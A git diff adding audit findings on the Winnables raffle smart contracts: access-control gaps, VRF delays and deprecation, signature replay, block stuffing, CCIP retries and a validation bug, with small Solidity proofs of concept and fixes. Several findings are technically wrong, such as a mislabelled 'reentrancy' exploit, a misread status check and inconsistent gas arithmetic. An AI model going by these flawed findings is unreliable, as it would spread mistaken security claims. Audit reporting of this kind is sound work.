vrfCoordinator.requestRandomWords(keccak256(""), i, 1, 21000, 32); + vrfCoordinator.fundSubscription({value: 1 ether}); // fund the subscription with some value + } + } +} +``` + +### Mitigation + + Implement access control mechanisms to limit who can call the constructor and ensure that only trusted parties have this privilege. \ No newline at end of file diff --git a/246.md b/246.md new file mode 100644 index 0000000..37f6a37 --- /dev/null +++ b/246.md @@ -0,0 +1,39 @@ +Zesty Tiger Robin + +Medium + +# Roles._setRole() cannot delete a role from a user. + +### Summary + +Roles._setRole() cannot delete a role from a user since it has not used the argument ```status```. + +### Root Cause + +The argument ```status``` is never used. The function does not implement the case of deleting a role from a user. + +[https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29-L33](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/Roles.sol#L29-L33) + +### Internal pre-conditions + +none + +### External pre-conditions + +None + +### Attack Path + +When an admin wants to delete a role from the user, it will always fail. + +### Impact + +A user can authorize the purchase of raffles, and after he was caught cheating, the admin likes to delete his role, but such a role cannot be deleted from the user. The privige he has cannot be taken away. + +### PoC + +A user has a role 1, then the admin cannot take his role away. + +### Mitigation + +Use the ```status``` to decide to add/delete a role from user. \ No newline at end of file diff --git a/249.md b/249.md new file mode 100644 index 0000000..8e4cb0d --- /dev/null +++ b/249.md @@ -0,0 +1,46 @@ +Keen Cloth Crab + +Medium + +# Attacker can manipulate the fee rates and maximum fees to their advantage. + +### Summary + +Attacker can manipulate the fee rates and maximum fees to their advantage. + +### Root Cause + +The function `WinnablesTicketManager.setParams(uint newBasisPoints, uint newMaxFee)` +can be called to use different parameter thant expected + +link (https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/mock/TetherToken.sol#L429) + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + + If an attacker exploits this vulnerability, they can potentially drain the contract's funds and manipulate the fees value. + +### PoC + +```solidity +contract ReentrancyExploit { + function exploit(WinnablesTicketManager wtm) public { + wtm.setParams(1, 2); // reentrant call + } +} +``` + +### Mitigation + +Add a reentrancy check or use a reentrancy-resistant pattern (e.g., using transfer instead of call) to prevent attacks. \ No newline at end of file diff --git a/250.md b/250.md new file mode 100644 index 0000000..9e1d26a --- /dev/null +++ b/250.md @@ -0,0 +1,25 @@ +Tart Clay Hippo + +High + +# Stuck of funds if Chainlink VRF does not respond for a long time + +## Summary +Stuck of funds if Chainlink VRF does not respond for a long time. + +## Vulnerability Detail +Users can participate in a raffle by buying tickets and later, one of all participants will win the raffle. To choose the winner, the protocol user Chainlink VRF `requestRandomWords`. Once randomness is requested, the Chainlink should respond with a random number as a result to determine the winner of a Raffle. However, it is a problem because the Chainlink response can be delayed, it can take few seconds but it can also take more than 10 minutes. The worst possible scenario is if the Chainlink VRF is down. + +Thus, no winner can be chosen, users must wait for an indefinite period of time with their money stuck in the contract. + +## Impact +Stuck of funds if Chainlink VRF does not respond for a long time. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329 +## Tool used + +Manual Review + +## Recommendation +Allow users to cancel a raffle if Chainlink VRF does not respond after a certain time. \ No newline at end of file diff --git a/283.md b/283.md new file mode 100644 index 0000000..5b4f06d --- /dev/null +++ b/283.md @@ -0,0 +1,44 @@ +Powerful Chambray Butterfly + +High + +# Non-winner `msg.sender` can claim winner's prize + +### Summary + +The non-winner `msg.sender` is able to claim and steal winner's prize as they will send a message to `WinnablesPrizeManager.sol::claimPrize` and bypass the check. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 + + +### Root Cause + +In `WinnablesPrizeManager.sol::claimPrize`, the `msg.sender` is checked after sending the prizes. + +### Internal pre-conditions + +1. `msg.sender` is not a winner. +2. non-winner `msg.sender` sends a tx. + +### External pre-conditions + +1. The prize will be stolen. + +### Attack Path + +1. Non-winner `msg.sender` sends a tx. +2. Non-winner `msg.sender` gets the prize. +3. Non-winner `msg.sender` address is checked. + + +### Impact + +The legitimate winner will lose their prizes. + +### PoC + +_No response_ + +### Mitigation + +Check the address of the `msg.sender` before giving prizes. \ No newline at end of file diff --git a/287.md b/287.md new file mode 100644 index 0000000..2ce368b --- /dev/null +++ b/287.md @@ -0,0 +1,42 @@ +Beautiful Maroon Hawk + +High + +# Incorrect winner can win a Raffle Before it's fulfilled + +## Summary +The getWinner function in the provided code snippet may potentially allow unauthorized access to the winner of a raffle before it's officially fulfilled. This will occur due to a logic flaw in the status check. +## Vulnerability Detail +The `getWinner` function checks the raffle.status to ensure the raffle is fulfilled before returning the winner. However, the function uses a strict less-than comparison (<) for the RaffleStatus.FULFILLED check. +```solidity + function getWinner(uint256 raffleId) external view returns(address winner) { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status < RaffleStatus.FULFILLED || raffle.status == RaffleStatus.CANCELED) { + revert RaffleNotFulfilled(); + } + winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + } +``` + +This means that if the raffle.status is equal to RaffleStatus.FULFILLED, the function will proceed to return the winner without reverting. + +This will lead to a situation where the raffle has not been fulfilled, but the `_getWinnerByRequestId` function hasn't returned the winner yet. In this case, the `getWinner` function would return an empty address or an incorrect winner. +## Impact +Incorrect winner can win the raffle even before it is fulfilled +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L123-L129 +## Tool used + +Manual Review + +## Recommendation +```diff +function getWinner(uint256 raffleId) external view returns(address winner) { + Raffle storage raffle = _raffles[raffleId]; +- if (raffle.status < RaffleStatus.FULFILLED || raffle.status == RaffleStatus.CANCELED) { ++ if (raffle.status != RaffleStatus.FULFILLED || raffle.status == RaffleStatus.CANCELED) { + revert RaffleNotFulfilled(); + } + winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + } +``` \ No newline at end of file diff --git a/292.md b/292.md new file mode 100644 index 0000000..5f3d677 --- /dev/null +++ b/292.md @@ -0,0 +1,52 @@ +Beautiful Maroon Hawk + +Medium + +# `getWinner` Function Fails When Chainlink VRF Subscription Is Expired + +## Summary +The `getWinner` function may fail or return incorrect results if the Chainlink VRF subscription used for the raffle has expired. This occurs because the function doesn't verify that the VRF request has been fulfilled, leading to errors when the subscription is inactive. +## Vulnerability Detail +The `getWinner` function relies on a successful Chainlink VRF request to determine the raffle winner. If the VRF subscription expires before the request is fulfilled, the function will fail to retrieve a valid random number. This can lead to either a function revert or the incorrect determination of a winner. +## Impact +Users cannot obtain the winner of a raffle if the VRF subscription is expired, leading to failed transactions or unfulfilled raffles. +## Code Snippet + +## Tool used + +Manual Review +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L123-L129 +## Recommendation +Add explicit error messages or conditions to handle scenarios where the VRF data is not available due to subscription issues. As shown below + +```solidity +function getWinner(uint256 raffleId) external view returns (address winner) { + Raffle storage raffle = _raffles[raffleId]; + + if (raffle.status != RaffleStatus.FULFILLED || raffle.status == RaffleStatus.CANCELED) { + revert RaffleNotFulfilled(); + } + + // Check if the request ID has been fulfilled and is valid + bytes32 requestId = raffle.chainlinkRequestId; + if (requestId == bytes32(0) || !_isRequestFulfilled(requestId)) { + revert RequestNotFulfilled(); + } + + winner = _getWinnerByRequestId(requestId); + + // Optional: Validate the winner address (e.g., ensure it's not a zero address) + if (winner == address(0)) { + revert InvalidWinner(); + } + + return winner; +} +``` +```solidity +// Example helper function to check if the request ID has been fulfilled +function _isRequestFulfilled(bytes32 requestId) private view returns (bool) { + // Implement logic to check if the request ID has been fulfilled + return _fulfilledRequests[requestId]; +} +``` \ No newline at end of file diff --git a/294.md b/294.md new file mode 100644 index 0000000..9a42f5a --- /dev/null +++ b/294.md @@ -0,0 +1,47 @@ +Custom Rosewood Bear + +Medium + +# Winners might not be able to retrieve prize money if its a contract + +### Summary + +The Winnables protocol allows contracts to buy tickets. Because winner address on the mainnet is the same address as the buyer on Avalanche, the Winnables protocol requires that a contract is also deployed at the same address on the mainnet to retrieve the prize money. + +As this is not enforced and undocumented, if a user uses contract to buy tickets on Avalanche and cannot deploy a contract on the mainnet at the same address because of nonce, etc, then the prize money for that raffle is indefinitely locked in the `WinnablesPrizeManager` contract. + +Code: + +Definition of [`WinnablesTicket._doSafeTransferAcceptanceCheck` ](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L217-L225) indicating that the contracts can buy tickets. + +Definition of the [`WinnablesTicketManager._getWinnerByRequestId`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472-L477) that uses the buyer address as the winner. + +Definition of the [`WinnablesPrizeManager.claimPrize`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L120) function requiring the winner to call the `claimPrize` function. + +### Root Cause + +Winnables protocol allows contracts to buy tickets and require presence of a contract at the same address on the Ethereum mainnet. + +### Internal pre-conditions + +1. User uses contract to buy tickets without ensuring that a contract can be deployed on the mainnet that can retrieve the prize money. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Some of the winners which are contracts cannot claim prize money and the funds become locked indefinitely in the `WinnablesPrizeManager` contract. + +### PoC + +_No response_ + +### Mitigation + +Add a `mapping` variable to the `WinnablesTicketManager` allowing users to specify a different addresses to retrieve prize money and to buy the tickets. Users can set the prize receiver address to EOA for the contract address. Propagate the prize receiver address as the winner to the `WinnablesPrizeManager` contract. \ No newline at end of file diff --git a/296.md b/296.md new file mode 100644 index 0000000..c576854 --- /dev/null +++ b/296.md @@ -0,0 +1,65 @@ +Early Iron Hamster + +Medium + +# potential replay of provisioned signature during `buyTickets` function - 0XALIYAH + +## Summary +0xaliyah +arabgodx +1. The `buyTickets` function is vulnerable to a signature replay attack, which could allow an attacker to purchase tickets multiple times using a single valid signature. This could lead to a centralisation risk, where a single entity accumulates a disproportionate amount of control over the outcome of the raffle. + +## Vulnerability Detail +1. The vulnerability occurs because the `buyTickets` function does not properly handle the signature after it is verified. Specifically, the signature is not destroyed or invalidated after it is used to purchase tickets, which allows an attacker to reuse the same signature multiple times. + +Internal Preconditions: + +1. Signature verification: The signature verification must be flawed, allowing an attacker to reuse a valid signature multiple times. +2. Lack of signature tracking: The system must not keep track of used signatures, or the tracking mechanism must be flawed, allowing an attacker to reuse a signature that has already been used. + +Attack Vector: + +1. Initial Transaction: The attacker sends a valid transaction with a legitimate signature to the network, which is included in a block. +2. Signature Replay: The attacker reuses the same signature to send a new transaction with an identical payload to the network. +3. Block Inclusion: The new transaction with the replayed signature is included in the same block as the initial transaction. +4. Double Spend: The attacker attempts again and again with a fresh payable value each time and buys countless times with the same valid signature on the same block. + +Possible Outcomes: + +1. Replayed Signature Success: When the network accepts the replayed transaction, the attacker successfully double-spends the signature, potentially causing centralisation, or causing the email, Discord verification, or KYC infrastructures to collapse under invalidation. + +External Preconditions: + +1. Obtaining a valid signature: The attacker must be able to obtain a valid signature, either by generating one using a designated signature generation process valid for 1 block only. +2. Protocol design spec: The protocol team are declaring for now that there is email verification, and linking discord, for each participant. After a certain level of activity KYC will be a further requirement. + +## Impact +1. LOW IMPACT + HIGH LIKELIHOOD OWASP +2. An attacker could use this vulnerability to accumulate a large number of tickets, also potentially bypassing the minimum ticket holder requirement and winning the raffle. This could lead to a centralisation of the protocol, where a single entity has a disproportionate amount of control over the outcome of the raffle. +3. Additional participants who have valid signature for the specific block will experience DOS if the attacker uses up all the raffle allocation for themselves erroneously. If that is the case the impact may also be valid medium due to as it impacts the availability of a time-sensitive function. +4. It may be possible that a winner will be selected from this faulty raffle if nothing else is broken. + +## Code Snippet +```diff +diff --git a/public-contracts/contracts/WinnablesTicketManager.sol b/public-contracts/contracts/WinnablesTicketManager.sol +index 0c3023a..23786e1 100644 +--- a/public-contracts/contracts/WinnablesTicketManager.sol ++++ b/public-contracts/contracts/WinnablesTicketManager.sol +@@ -187,6 +187,7 @@ contract WinnablesTicketManager is Roles, VRFConsumerBaseV2, IWinnablesTicketMan + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); ++ // @ audit signature is not destroyed? + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + Raffle storage raffle = _raffles[raffleId]; +``` + +[poc](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L190) +## Tool used +Manual Review + +## Recommendation +1. To fix this vulnerability, the `buyTickets` function should be modified to properly handle the signature after it is verified. Specifically, the signature should be destroyed or invalidated after it is used to purchase tickets. +2. [checks effects interactions](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html) +[Will Shahda](https://medium.com/coinmonks/protect-your-solidity-smart-contracts-from-reentrancy-attacks-9972c3af7c21) \ No newline at end of file diff --git a/298.md b/298.md new file mode 100644 index 0000000..e17b040 --- /dev/null +++ b/298.md @@ -0,0 +1,86 @@ +Joyful Golden Cod + +High + +# An attacker can DoS honest user by block stuffing, to grief the protocol or for own benefits + +## Summary + +An attacker can deny the purchase of tickets of honest users, thus benefitting from it. Like for example winning raffles or having greater advantage when the winner is chosen. + +In order for users to participate in the raffle they must buy tickets, the greater the amount, the greater the chance to be selected as winner. But as per docs, first the purchases need to be authorized via a signature from an API. + +## Vulnerability Detail + +If we follow the ticket purchasing process: + +```javascript + ... + /// @param blockNumber Number of the block when the signature expires + /// @param signature Signature provided by the API to authorize this ticket sale at given price + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + ... + +/// @dev Checks the validity of a signature to allow the purchase of tickets at a given price + /// @param raffleId ID of the Raffle + /// @param ticketCount Number of tickets purchased + /// @param blockNumber Number of the block when the signature expires + /// @param signature Signature to check + function _checkPurchaseSig(uint256 raffleId, uint16 ticketCount, uint256 blockNumber, bytes calldata signature) internal view { + if (blockNumber < block.number) revert ExpiredCoupon(); + address signer = _getSigner( + keccak256( + abi.encodePacked( + msg.sender, _userNonces[msg.sender], raffleId, ticketCount, blockNumber, msg.value + ) + ), signature + ); + if (!_hasRole(signer, 1)) revert Unauthorized(); + } +``` +We can see that `block.number` value is used to check the signature's expirity. But this value can be manipulated by an attacker via [block stuffing](https://medium.com/hackernoon/the-anatomy-of-a-block-stuffing-attack-a488698732ae), which means an attacker filling up a whole block with dummy transactions. The ticket purchase happens in `WinnablesTicketManager` contract, which will be deployed on Avalanche network. Let's calculate how much it would cost an attacker to execute such an attack on Avalanche: + +- Avalanche network's gas limit is currently set to [15m gas units](https://support.avax.network/en/articles/6169826-how-are-gas-fees-calculated) +- As of writing this report (19.08) [here](https://snowtrace.io/gastracker) we see that the gas costs are: + - Slow: 25 nAVAX (GWEI) -> 0.011$ on C-chain + - Standard: 28 nAVAX (GWEI) -> 0.012$ on C-chain + - Fast: 31 nAVAX (GWEI) -> 0.014$ on C-chain +- [Here](https://coinmarketcap.com/bg/currencies/avalanche/) we check the current price: 1 AVAX = 20.77$ + +If we choose the highest gas price: + +- 31 GWEI will be 0.000000031 AVAX per gas unit. +- Cost per block will be: 15m * 0.000000025 AVAX = 0,465 AVAX +- Cost in USD: 0,465 AVAX * 20,77$ = ~9,65$ + +It will cost almost 10$ to fill up a block. An attacker can simply choose to DoS users from participating the raffles, or perform the attack in some edge cases where he can be chosen as the winner. A brief example: + +1. Raffle with max cap 100, duration 1 hour +2. Attacker buys 10% of the tickets, a user uses the strategy to wait until the last moments of his signature expiry and submits a tx to purchase the rest 90%, because his chances of winning will be 9/10 +3. Attacker fills up the block/s, and his tx reverts due to expiry + +There are many ways to benefit from this attack path, especially in case where the reward is significant amount, the attacker will be incentivized to execute it. + +## Impact + +DoS of ticket purchases + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L449 + +## Tool used + +Manual Review + +## Recommendation + +As of the nature of the attack, it's hard to give exact solution. I would suggest to remove the `block.number` check as it's very easy exploitable \ No newline at end of file diff --git a/301.md b/301.md new file mode 100644 index 0000000..a79b28f --- /dev/null +++ b/301.md @@ -0,0 +1,63 @@ +Breezy Amethyst Penguin + +Medium + +# `WinnablesTicketManager.drawWinner` function's `VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords` function call follows VRF v2 syntax that is going to be deprecated when or very soon after this audit contest is finalized and the protocol is then deployed, which would cause raffles to fail to have winners + +### Summary + +Since `WinnablesTicketManager.drawWinner` function's `VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords` function call follows the VRF v2 syntax, which can be deprecated when or very soon after this audit contest is finalized and the protocol is then deployed, the `WinnablesTicketManager.drawWinner` function would be always DOS'ed and no winner can be drawn for any raffle when VRF v2 becomes deprecated. + +### Root Cause + +The `WinnablesTicketManager.drawWinner` function's `VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords` function call follows the VRF v2 syntax. According to https://docs.chain.link/vrf/release-notes#2024-07-15---deprecation-announcement, VRF v2 will be deprecated on November 29, 2024, which can be when or very soon after this audit contest is finalized and the protocol is then deployed. When VRF v2 is deprecated, the `WinnablesTicketManager.drawWinner` function's `VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords` function call can revert, which causes the `WinnablesTicketManager.drawWinner` function to be always DOS'ed. + +### Internal pre-conditions + +Not applicable + +### External pre-conditions + +1. VRF v2 becomes deprecated. + +### Attack Path + +1. For drawing a winner, the `WinnablesTicketManager.drawWinner` function is called. +2. Since the `WinnablesTicketManager.drawWinner` function's `VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords` function call follows the deprecated VRF v2 syntax, such function call reverts. +3. Because such `VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords` function call reverts, calling the `WinnablesTicketManager.drawWinner` function reverts. + +### Impact + +When VRF v2 becomes deprecated, the `WinnablesTicketManager.drawWinner` function is always DOS'ed. As a result, winner cannot be drawn anymore for any raffle. + +### PoC + +The `WinnablesTicketManager.drawWinner` function executes `uint256 requestId = VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords(KEY_HASH, SUBSCRIPTION_ID, 3, 100_000, 1)`. Such `VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords` function call follows the VRF v2 syntax, which is not the VRF v2.5 syntax. When VRF v2 becomes deprecated, such function call would revert, causing the `WinnablesTicketManager.drawWinner` function to be DOS'ed. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L310-L329 +```solidity + function drawWinner(uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + _checkShouldDraw(raffleId); + raffle.status = RaffleStatus.REQUESTED; + +@> uint256 requestId = VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords( +@> KEY_HASH, +@> SUBSCRIPTION_ID, +@> 3, +@> 100_000, +@> 1 +@> ); + _chainlinkRequests[requestId] = RequestStatus({ + raffleId: raffleId, + randomWord: 0 + }); + raffle.chainlinkRequestId = requestId; + emit RequestSent(requestId, raffleId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +### Mitigation + +The `WinnablesTicketManager.drawWinner` function's `VRFCoordinatorV2Interface(VRF_COORDINATOR).requestRandomWords` function call can be updated to use the VRF v2.5 syntax according to https://docs.chain.link/vrf/v2-5/migration-from-v2#new-request-format instead of the VRF v2 syntax. \ No newline at end of file diff --git a/302.md b/302.md new file mode 100644 index 0000000..7d9cda2 --- /dev/null +++ b/302.md @@ -0,0 +1,57 @@ +Zesty Peanut Pony + +High + +# Inability to Retry CCIP Messages for Critical State Changes Across Multiple Operations + +### Summary + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L172 +The raffle system's cross-chain communication mechanism lacks retry functionality for critical operations including raffle cancellation, winner propagation, and initial prize locking. If CCIP messages fail to be delivered or processed in any of these scenarios without reverting, it can lead to inconsistent states across chains, potentially locking prizes indefinitely or preventing winners from claiming their prizes. +In the docs of Chainlink: +```The message could not be executed on the destination chain within CCIP’s Smart Execution time window, which is currently set to 8 hours. This could happen, for example, during extreme network congestion and resulting gas spikes.``` + +### Root Cause + +The root cause is the immediate state change on the originating chain without waiting for confirmation from the receiving chain. This occurs in multiple functions: + +1. cancelRaffle in TicketManager +2. propagateRaffleWinner in TicketManager +3. lockNFT (and similar locking functions) in PrizeManager + +These functions change the local state before sending CCIP messages. If these messages fail without revert, there's no mechanism to resend them or revert the state changes, leading to mismatches between chains. + + +### Internal pre-conditions + +1. For cancellation: A raffle must be in a cancellable state. +2. For winner propagation: A winner must have been selected. +3. For prize locking: An admin must initiate the prize lock. +4. The respective functions must be called on the appropriate contracts. + +### External pre-conditions + +1. The CCIP network must be operational but experience a failure in message delivery or processing. +2. The receiving contracts must be in states ready to receive the respective messages. + +### Attack Path + +_No response_ + +### Impact + +1. Inconsistent states between TicketManager and PrizeManager contracts. +2. Prizes may remain locked indefinitely or be unclaimed. +3. Inability to properly cancel raffles, propagate winners, or refund participants. +4. Potential financial loss due to locked or unclaimed prizes. +5. Violation of key principles: participants might not get refunds, winners might be unable to claim prizes. + +### PoC + +_No response_ + +### Mitigation + +Add retry mechanisms for all CCIP messages diff --git a/309.md b/309.md new file mode 100644 index 0000000..d0534fa --- /dev/null +++ b/309.md @@ -0,0 +1,131 @@ +Savory Chiffon Gazelle + +Medium + +# Incorrect Validation Logic in `WinnablesPrizeManager::_checkValidRaffle` will Lead to Disruption of Valid Raffle Operations + +### Summary + +The incorrect validation [logic](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L251-L256) in `WinnablesPrizeManager::_checkValidRaffle` will cause disruption of valid raffle operations for users as the function erroneously identifies valid raffles as invalid. This flaw will cause legitimate raffles to be flagged as invalid and prevent users from participating or claiming prizes, leading to operational disruption. + +### Root Cause + +In `WinnablesPrizeManager.sol:_checkValidRaffle`, the [condition](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L254) intended to identify invalid raffles is implemented incorrectly: +```solidity + function _checkValidRaffle(uint256 raffleId) internal view returns(RafflePrize storage) { + if (raffleId == 0) revert IllegalRaffleId(); + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; +@> if (rafflePrize.raffleType != RaffleType.NONE) revert InvalidRaffleId(); + return rafflePrize; + } +``` +The function incorrectly reverts when the `raffleType` is `not NONE`, which leads to valid raffles being treated as invalid. +Here `NONE` basicly means it's uninitialized. +aka: "I've never heard of that raffle ID" + +### Internal pre-conditions + +1. The function `_checkValidRaffle(raffleId)` is called to validate a raffle. +2. The `_rafflePrize` mapping contains a `RafflePrize` structure for the given `raffleId`. +3. If the `raffleId` is valid, the `raffleType` will be set to `NFT or ETH or TOKEN` +4. If the `raffleId` is not valid or not initialised yet, the `raffleType` will be set to `NONE` +5. The `raffleType` is set to a value other than `RaffleType.NONE` if it has been initialised + +### External pre-conditions + +1. The system relies on `_checkValidRaffle` to validate raffles before performing operations on them. +2. Proper validation of raffle types is critical to ensuring the correct functioning of raffle-related operations. + +### Attack Path + +1. **Raffle Initialization:** + - A raffle is initialized and stored in the `_rafflePrize` mapping. + - The `raffleType` is correctly set during initialization. +2. **Validation Failure:** + - When `_checkValidRaffle(raffleId)` is called, it incorrectly checks whether the `raffleType` is not `NONE`. + - If the `raffleType` is valid (i.e., not `NONE`), the function `erroneously reverts`, treating the valid raffle as invalid. + - This results in the inability to perform legitimate operations on valid raffles. +3. **Disruption of Operations:** + - Due to the incorrect validation logic, legitimate raffles cannot proceed through their intended workflows. + - This can lead to disruptions in the raffle process, including preventing users from participating in valid raffles or claiming prizes. + +### Impact + +- **Operational Disruption:** Legitimate raffles may be incorrectly flagged as invalid, preventing users from participating or claiming prizes. This can disrupt the overall raffle process. +- **Loss of Trust:** Users may lose confidence in the system if valid raffles are consistently flagged as invalid, leading to frustration and potential financial losses. +- **Security Concerns:** Although this is not a direct security vulnerability, the incorrect validation logic can cause significant operational issues, which may indirectly impact the system's security and reliability. + +### PoC + +Here is a simplified example showing how the bug manifests: +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {Test, console} from "forge-std/Test.sol"; + +contract RaffleTest is Test { + error IllegalRaffleId(); + error InvalidRaffleId(); + + enum RaffleType { NONE, NFT, ETH, TOKEN } + struct RafflePrize { + RaffleType raffleType; + // other fields... + } + + mapping(uint256 => RafflePrize) private _rafflePrize; + + function setUp() public { + // Set up a valid raffle + _rafflePrize[1] = RafflePrize(RaffleType.ETH); + } + + function _checkValidRaffle(uint256 raffleId) internal view returns(RafflePrize storage) { + if (raffleId == 0) revert IllegalRaffleId(); + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + if (rafflePrize.raffleType != RaffleType.NONE) revert InvalidRaffleId(); // Incorrect logic + return rafflePrize; + } + + function testCheckValidRaffle() public { + vm.expectRevert(bytes4(keccak256("InvalidRaffleId()"))); + _checkValidRaffle(1); // Should pass but fails due to incorrect logic + } +} +``` +Run this test using: `forge test --mt testCheckValidRaffle -vvvvv` + +**Output:** +```javascript +Ran 1 test for test/RaffleValidationCheck.t.sol:RaffleTest +[PASS] testCheckValidRaffle() (gas: 5371) +Traces: + [22419] RaffleTest::setUp() + └─ ← [Stop] + + [5371] RaffleTest::testCheckValidRaffle() + ├─ [0] VM::expectRevert(InvalidRaffleId()) + │ └─ ← [Return] + └─ ← [Revert] InvalidRaffleId() + +Suite result: ok. 1 passed; 0 failed; 0 skipped; +``` + + +### Mitigation + +To fix the issue, the function should properly validate raffles by checking if the `raffleType` is `NONE`. The corrected function is: + +```diff +function _checkValidRaffle(uint256 raffleId) internal view returns(RafflePrize storage) { + if (raffleId == 0) revert IllegalRaffleId(); + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; +- if (rafflePrize.raffleType != RaffleType.NONE) revert InvalidRaffleId(); ++ if (rafflePrize.raffleType == RaffleType.NONE) revert InvalidRaffleId(); // Correct logic + return rafflePrize; +} + +``` + +This change ensures that only raffles with a `raffleType` of `NONE` (which are invalid) will trigger the `InvalidRaffleId` error, allowing valid raffles to proceed as intended. \ No newline at end of file diff --git a/322.md b/322.md new file mode 100644 index 0000000..3e76e10 --- /dev/null +++ b/322.md @@ -0,0 +1,234 @@ +Jolly Ginger Jaguar + +Medium + +# Lack of enforced access control in `BaseCCIPContract::_setCCIPCounterpart` enables potential unauthorized manipulation of CCIP counterparts in derived contracts, risking misdirection of cross-chain messages and potential loss of funds + +### Summary + +The `BaseCCIPContract.sol` contains an internal `_setCCIPCounterpart` function that lacks enforced access control. If exposed without proper restrictions in derived contracts, this could allow unauthorized modification of CCIP counterparts, potentially compromising cross-chain message integrity and risking loss of funds. + +LoC below: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L31-L38 + +### Root Cause + +The `_setCCIPCounterpart` function in `BaseCCIPContract.sol` is designed to manage approved counterpart CCIP contracts on remote chains. While this function is internal and cannot be directly called externally, there's a risk that derived contracts might expose this functionality without implementing proper access controls. + +```solidity +function _setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled +) internal { + bytes32 counterpart = _packCCIPContract(contractAddress, chainSelector); + _ccipContracts[counterpart] = enabled; +} +``` + +If a derived contract were to expose this function without restrictions, it could allow any external actor to add or remove CCIP counterparts, potentially disrupting cross-chain operations and compromising the security of cross-chain messages and transactions. + +### Internal pre-conditions + +Contract owner needs to call setCounterpart() to set a legitimate counterpart address to be exactly a specific address for a given chain selector. +_ccipContracts mapping needs to have at least one entry for a legitimate counterpart. +Access control for setCounterpart() function needs to be absent or misconfigured. +_setCCIPCounterpart() internal function needs to be exposed through the public setCounterpart() function. +isCounterpartEnabled() function needs to be publicly accessible for verification. + +### External pre-conditions + +The contract needs to be deployed on a blockchain network that supports cross-chain interactions (e.g., a network compatible with Chainlink CCIP). +The attacker needs to have sufficient gas to call the setCounterpart() function. +The network's gas price needs to be low enough for the attacker to afford multiple transactions. +The blockchain network needs to be operational and accepting transactions. +The attacker needs to have knowledge of the legitimate counterpart address and chain selector. + +### Attack Path + +The vulnerable contract is deployed with an exposed setCounterpart function lacking proper access control. + +The contract owner sets a legitimate counterpart address for a specific chain selector. + +An attacker identifies the lack of access control on the setCounterpart function. + +The attacker calls setCounterpart to disable the legitimate counterpart address. + +The attacker calls setCounterpart again to add their own malicious counterpart address. + +The vulnerable contract now considers the attacker's address as a valid counterpart for cross-chain interactions. + +This allows the attacker to potentially intercept or manipulate cross-chain messages and transactions. + +The original legitimate counterpart is 